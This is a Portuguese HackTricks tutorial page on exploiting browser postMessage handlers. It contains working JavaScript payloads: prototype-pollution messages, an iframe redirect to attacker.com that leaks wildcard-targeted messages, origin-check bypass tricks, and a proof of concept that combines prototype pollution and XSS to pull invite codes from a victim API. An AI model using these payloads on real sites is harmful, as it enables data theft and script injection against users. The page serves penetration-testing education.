.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilidades PostMessage
Vulnerabilidades PostMessage
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Enviar PostMessage
PostMessage utiliza a seguinte função para enviar uma mensagem:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Observe que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para aquele domínio (mesmo que a origem do objeto window seja diferente).
Se o coringa for usado, mensagens poderão ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto Window.
Atacando iframe & coringa em targetOrigin
Como explicado neste relatório se você encontrar uma página que pode ser iframed (sem proteção X-Frame-Header
) e que está enviando mensagens sensíveis via postMessage usando um coringa (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Observe que se a página pode ser iframed mas o targetOrigin está definido para uma URL e não para um coringa, este truque não funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Exploração de addEventListener
addEventListener
é a função usada pelo JS para declarar a função que está esperando postMessages
.
Um código semelhante ao seguinte será utilizado:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Note neste caso como a primeira coisa que o código está fazendo é verificar a origem. Isso é extremamente importante, principalmente se a página for fazer algo sensível com a informação recebida (como mudar uma senha). Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esses endpoints e mudem as senhas das vítimas (neste exemplo).
Enumeração
Para encontrar ouvintes de eventos na página atual, você pode:
- Procurar no código JS por
window.addEventListener
e$(window).on
(versão JQuery) - Executar no console das ferramentas de desenvolvedor:
getEventListeners(window)
- Ir para Elementos --> Ouvintes de Eventos nas ferramentas de desenvolvedor do navegador
- Usar uma extensão de navegador como https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Essas extensões de navegador irão interceptar todas as mensagens e mostrá-las para você.
Bypasses de verificação de origem
event.isTrusted
é Verdadeiro quando o evento foi gerado por uma ação do usuário. Não é realmente contornável se corretamente aplicado, mas vale a pena mencionar.- Se
indexOf()
for usado para verificar a origem do evento PostMessage, lembre-se de que pode ser facilmente contornado como no exemplo a seguir:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Se
search()
for usado para validar a origem, pode ser inseguro. De acordo com a documentação deString.prototype.search()
, o método recebe um objeto de expressão regular em vez de uma string. Se algo além de regexp for passado, será implicitamente convertido em regex.
Em expressão regular, um ponto (.) é tratado como um coringa. Um atacante pode tirar vantagem disso e usar um domínio especial em vez do oficial para burlar a validação, como em:
"https://www.safedomain.com".search("www.s.fedomain.com")
- Assim como no exemplo anterior,
match()
também verifica uma regex, então se a regex estiver malformada, ela pode ser bypassável. - Se a função
escapeHtml
for usada, a função não cria um objetonew
escapado, em vez disso, ela sobrescreve propriedades do objeto existente. Isso significa que se conseguirmos criar um objeto com uma propriedade controlada que não responda ahasOwnProperty
, ela não será escapada.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
O objeto File
é perfeito para este exploit, pois possui uma propriedade name
somente leitura que é usada pelo nosso template e irá contornar a função escapeHtml
.
e.origin == window.origin bypass
Quando uma página está embutida em um iframe sandboxed através de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, o origin desse iframe será null
.
Quando o valor de sandbox allow-popups
está definido, então o popup aberto irá herdar todos os atributos sandboxed, a menos que allow-popups-to-escape-sandbox
esteja definido.
Assim, abrir um popup de um origin null fará com que window.origin
dentro do popup também seja null
.
Portanto, se você abrir um iframe sandboxed permitindo popups, e então abrir um popup a partir do iframe, e enviar uma postMessage do iframe para o popup, ambos os origins são null, então: e.origin == window.origin == null
Para mais informações leia:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Contornando e.source
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para Content Scripts de extensões de navegador para verificar se a mensagem foi enviada da mesma página):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Você pode forçar o e.source
de uma mensagem a ser nulo criando um iframe que envia a postMessage e é imediatamente deletado.
Para mais informações leia:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypass do X-Frame-Header
Para realizar esses ataques idealmente você conseguirá colocar a página web da vítima dentro de um iframe
. Mas alguns cabeçalhos como X-Frame-Header
podem impedir esse comportamento.
Nesses cenários, você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Roubando mensagem enviada para o iframe filho bloqueando a página principal
Na página a seguir, você pode ver como poderia roubar dados sensíveis de postmessage enviados para um iframe filho ao bloquear a página principal antes de enviar os dados e abusar de um XSS no filho para vazar os dados antes de serem recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Roubando mensagem modificando a localização do iframe
Se você pode colocar um iframe em uma página web sem o cabeçalho X-Frame-Header que contém outro iframe, você pode mudar a localização desse iframe filho, então se ele está recebendo um postmessage enviado usando um coringa, um atacante poderia mudar a origem desse iframe para uma página controlada por ele e roubar a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage para Poluição de Protótipo e/ou XSS
Em cenários onde os dados enviados através de postMessage
são executados por JS, você pode colocar um iframe na página e explorar a poluição de protótipo/XSS enviando o exploit via postMessage
.
Um par de XSS muito bem explicados através de postMessage
podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Exemplo de um exploit para abusar de Poluição de Protótipo e depois XSS através de um postMessage
para um iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Para mais informações:
- Link para a página sobre poluição de protótipo
- Link para a página sobre XSS
- Link para a página sobre poluição de protótipo do lado do cliente para XSS
Referências
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para praticar: https://github.com/yavolo/eventlistener-xss-recon
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.